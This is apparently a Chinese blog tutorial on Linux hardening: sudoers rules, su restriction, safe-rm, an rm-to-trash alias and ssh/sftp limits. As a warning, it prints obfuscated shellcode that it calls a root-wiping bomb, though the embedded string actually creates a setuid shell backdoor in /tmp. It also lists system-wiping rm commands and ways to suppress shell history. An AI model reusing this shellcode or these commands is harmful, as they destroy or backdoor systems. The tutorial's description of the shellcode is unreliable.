一、背景

linux禁用redis后代码中如何禁用 linux禁用指定命令_安全

在生产实际中,常常会因为某些安全要求,需要对linux系统限制用户执行权限过大的命令或较敏感的,因此,如何限制系统的某些功能,限制linux系统下用户可执行的命令,将是一件安全日常不断需要深入研究的事,本文主要从几个方面,整理相关限制命令执行的方法,以供日常安全运维参考;

二、操作(未完待续)

1、禁用普通用户su到root

1)禁止非WHEEL用户使用SU命令

编辑su配置文件:vi /etc/pam.d/su,开启:

auth required /lib/security/$ISA/pam_wheel.so use_uid   //即要求wheel组的用户才可执行su,只有usermod -G wheel 用户,才可su;
auth required pam_wheel.so use_uid

修改/etc/login.defs文件:

echo “SU_WHEEL_ONLY yes” >> /etc/login.defs   //普通用户登录,shell限制

修改默认的su的wheel组:vi /etc/pam.d/su文件

auth sufficient /lib/security/pam_rootok.so debug
auth required /lib/security/pam_wheel.so group=wheel   //可将wheel替换为其他组

2、禁用普通用户执行某些命令

vim /etc/sudoers #此文件权限默认440,修改的时候需要先改成777,修改后再改回440,否则报错,建议使用visudo编辑

#文末追加
Cmnd_Alias USERADMINCMNDS =!/usr/bin/passwd, !/usr/bin/passwd root, !/usr/bin/passwd root --stdin  #
monitor ALL=(ALL:ALL) ALL,USERADMINCMNDS,!/bin/su,!/bin/bash ##第一个monitor是用户账号 第二列的ALL是登陆者的来源主机名,第三列=(ALL)是代表可以切换身份,第四列ALL是可执行的命令.
#禁用su
Cmnd_Alias DISABLE_SU=/bin/su
普通用户 ALL=(ALL:ALL) NOPASSWD:ALL,!DISABLE_SU  #验证,系统应返回如下错误消息: “Sorry. user xxx is not allowed to execute "/bin/su’ as root on hostname.”.
%admin ALL=(ALL) ALL, !DISABLE SU  #admin组用户禁用su
#允许执行指定命令,用root的身份免密来运行/usr/bin/passwd,/bin/su,/usr/bin/rz
monitor ALL=(root) NOPASSWD:/usr/bin/passwd,NOPASSWD:/bin/su,NOPASSWD:/usr/bin/rz #!/bin/su
#比对
admin ALL=(root) NOPASSWD:/usr/bin/*,NOPASSWD:!/bin/su,NOPASSWD:/sbin/*,NOPASSWD:/bin/* #不影响
#下面会显示sudo su报错:xx is not allowed to execute '/bin/su' as root on
admin ALL=(root) NOPASSWD:/usr/bin/*,NOPASSWD:/sbin/*,NOPASSWD:/bin/*,NOPASSWD:!/bin/su

#允许sudo su
monitor ALL=(ALL) /usr/bin/sudo,/bin/su,/usr/bin/passwd,/usr/bin/passwd [A-Za-z]*,!/usr/bin/passwd root

说明:

sudo : 暂时切换到超级用户模式以执行超级用户权限,提示输入密码时该密码为当前用户的密码,而不是超级账户的密码。不过有时间限制,Ubuntu默认为一次时长15分钟。
su:没有时间限制。
sudo -i: 为了频繁的执行某些只有超级用户才能执行的权限,而不用每次输入密码,可以使用该命令。提示输入密码时该密码为当前账户的密码。没有时间限制。
当s权限在文件所有者 x 权限位上时,例如:-rwsr-xr-x,此时称为Set UID,简称为SUID的特殊权限,即当执行该文件时将具有该文件所有者的权限。使一个目录既能够让任何用户写入文档,又不让用户删除这个目录下他人的文档,sticky就是能起到这个作用。stciky一般只用在目录上,用在文档上起不到什么作用(如/home,权限为1777)任何的用户都能够在这个目录下创建文档,但只能删除自己创建的文档)。

3、禁用root执行某些命令和授权sudo

1)禁止授权普通用户sudo:

chmod u+w /etc/sudoers

2)vi /etc/sudoers 或visudo,编辑sudoers文件,找到以下行:
xxx ALL = (ALL) ALL ## 将xxx替换为允许sudo的普通用户名,后面ALL替换为限制sudo执行的命令;

还可以为每个用户建立特定sudo策略文件,在/etc/sudoers.d/目录下建立与用户同名的策略文件:

visudo -f /etc/sudoers.d/blue,写入:
blue ALL=/usr/bin/, !/usr/bin/passwd, /bin/,  !/bin/kill  ##不可杀进程和修改密码

3)限制root执行某些命令

相关实践采用safe-rm代替,结合用 rm -rfi 替代rm -rf,默认不要修改家目录下.bashrc里的rm别名;

wget https://launchpad.net/safe-rm/trunk/0.12/+download/safe-rm-0.12.tar.gz
tar -zxvf safe-rm-0.12.tar.gz 
#进入目录
cd safe-rm-0.12
#复制safe-rm 文件到 /usr/local/bin
cp safe-rm /usr/local/bin/
#替代rm
ln -s /usr/local/bin/safe-rm /usr/local/bin/rm

vi /etc/profile #增加一条:
export PATH=/usr/local/bin:$PATH
#使环境变量生效
source /etc/profile

#设置保护目录名单

vi /usr/local/bin/safe-rm  #配置如下
my %default_protected_dirs = (
    '/bin'               => 1,
    '/boot'              => 1,
    '/dev'               => 1,
    '/etc'               => 1,
    '/home'              => 1,
    '/initrd'            => 1,
    '/lib'               => 1,
    '/lib32'             => 1,
    '/lib64'             => 1,
    '/proc'              => 1,
    '/root'              => 1,
    '/sbin'              => 1,
    '/sys'               => 1,
    '/usr'               => 1,
    '/usr/bin'           => 1,
    '/usr/include'       => 1,
    '/usr/lib'           => 1,
    '/usr/local'         => 1,
    '/usr/local/bin'     => 1,
    '/usr/local/include' => 1,
    '/usr/local/sbin'    => 1,
    '/usr/local/share'   => 1,
    '/usr/local/rm_test' => 1,
    );

rm -rf的炸弹模式:如下所示,它是以十六进制隐藏的命令,这种在这里插入代码片隐藏很具有欺骗性。在终端中运行以下代码将擦除根分区,故不要编译或者运行来自未知来源的代码。

char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

注:相关实践表明,rm -rf / 会被OS当做危险操作拒绝执行的;即服务器不会执行rm -fr /命令,只会提示这是一个危险操作,但操作也还是要谨慎;其上删库跑路的两个命令:rm -fr --no-preserve-root /或rm -fr /*,严禁执行;root权限执行删库跑路,恢复的希望基本无,需及时umount掉/或直接从其他救援盘引导,从block恢复;非root权限删库跑路只会删除掉自己创建的文件,对服务器和其他用户无影响。虽然下图大部分发行版有这种保护功能,但老版本可能就没有,还是得小心。

linux禁用redis后代码中如何禁用 linux禁用指定命令_bash_02


MV方式替代,需要编写脚本,实体如下:

#!bin/sh
trash_dir=/trash/`date +%Y%m%d`      #自己创建的文件夹的路径

if [ ! -d ${trash_dir} ] ;then
    mkdir -p ${trash_dir}
fi

for i in $*
do
    suffix=`date "+%H%M%S"`  #会在原文件后面增加时间,然后mv到回收站,解决同名文件频繁删除会引起覆盖提示或提示目标非空
    if [ ! -d "${i}" ]&&[ ! -f "${i}" ];then    #首先判断是否是合法的文件或者文件夹
        if [ "${i}" != "-rf" ];then     #这里对-rf进行处理,因为mv指令后面没有-rf参数
           echo "[${i}] do not exist"
        fi
    else
        file_name=`basename $i`   #取得文件名称  
        mv ${i} ${trash_dir}/${file_name}_${suffix}_${RANDOM} 
        echo "[${i}] delete completed"  
    fi
done

清空回收站:

#!bin/sh
trashdir=/trash
cd ${trashdir}
find ./ -mtime +3 -exec 'rm' -rf {} \;       #找到回收站中修改日期大于3天的文件,执行真正的删除;rm被封装后,带引号的’rm’执行的是真正的删除

#别名替换:修改/etc/bashrc和~/.bashrc,保存后source生效
alias rm='sh /home/shell/changerm.sh'
#定时清理
crontab -e  #在里边加入:
00 22 * * * sh /home/shell/cleartrash.sh     #每天22:00执行清理回收站的脚本
service crond restart  #重启crond服务使之生效:
crontab -l  #验证

另外注意,要删除一个目录下的所有内容,不要使用rm -rf ./* ,更进一步地,不要使用 ./* 来引用当前目录下的所有文件,直接使用 * 即可,这样可以避免写成 /* 或者 / * 这样的悲剧发生。另外注意'rm' -rf {} \避免写成'rm' -rf {} /;

4)禁用内部命令

root下执行help可查看内部命令,然后执行:enable -n 要禁止的命令,可以禁止;如果再启用,只需执行enable 要启用的命令

5)禁用history

history命令配置时间戳:# export HISTTIMEFORMAT=‘%F %T ’
查看:# export HISTTIMEFORMAT=’%F %T ’ # history | more
控制历史命令记录的总行数:vi ~/.bash_profile,修改:HISTSIZE=450 HISTFILESIZE=450
强制 history 不记住特定的命令:# export HISTCONTROL=ignorespace //在不想被记住的命令前面输入一个空格
禁用 history: # export HISTSIZE=0

4、禁用ssh登录执行某些命令

#编辑~/.ssh/authorized_keys,在前面加上语句:
command="bash --restricted --noprofile --rcfile$HOME/.stricted_profile" ssh-rsa……  #使用restricted模式,并且不加载系统默认的profile文件,而加载我们定义的profile文件$HOME/.stricted_profile。上面添加command参数一定是在一个主机行的前面,每添加一台主机,需要添加一行。
vim $HOME/.stricted_profile文件  #内容如下
PATH=${HOME}/bin
export PATH
#配置允许ssh登录可执行的命令
mkdir $HOME/bin
ln -s /usr/bin/ssh $HOME/bin/  #当登陆这台机器的时候,除了ssh 命令,不能使用其他任何命令

5、禁用scp和sftp

rpm -qa|grep openssh-*
yum remove openssh-clients -y
#禁止sftp
vi /etc/ssh/sshd.config
Subsystem sftp /usr/libexec/openssh/sftp-server #注释掉
mv /usr/lib/sftp-server /usr/lib/

6、禁止执行rm -rf /*

利用工具afe-rm,安装后替换系统命令rm;

linux禁用redis后代码中如何禁用 linux禁用指定命令_运维安全_03

下载地址:https://launchpad.net/safe-rm/+download;
下载:wget https://launchpad.net/safe-rm/trunk/1.1.0/+download/safe-rm-1.1.0.tar.gz

tar -zxvf safe-rm-1.1.0.tar.gz   # 将safe-rm命令复制到系统的/usr/local/bin目录
cp safe-rm-1.1.0/safe-rm /usr/local/bin/
ln -s /usr/local/bin/safe-rm /usr/local/bin/rm   # 创建软链接,用safe-rm替换rm,如果有问题,请检查环境变量PATH,是否包含/usr/local/bin路径

设置过滤目录:
编辑:vi /etc/safe-rm.conf 文件,添加需要过滤的目录即可,一行一个,而且应满足递归原则;格式:
/ 代表过滤 目录/
./* 代表过滤 目录/ 下面的所有文件

递归过滤示例(这样/root/blue/students各级目录都会受到保护):

/
/root
/root/blue
/root/blue/students

示例2:

linux禁用redis后代码中如何禁用 linux禁用指定命令_linux_04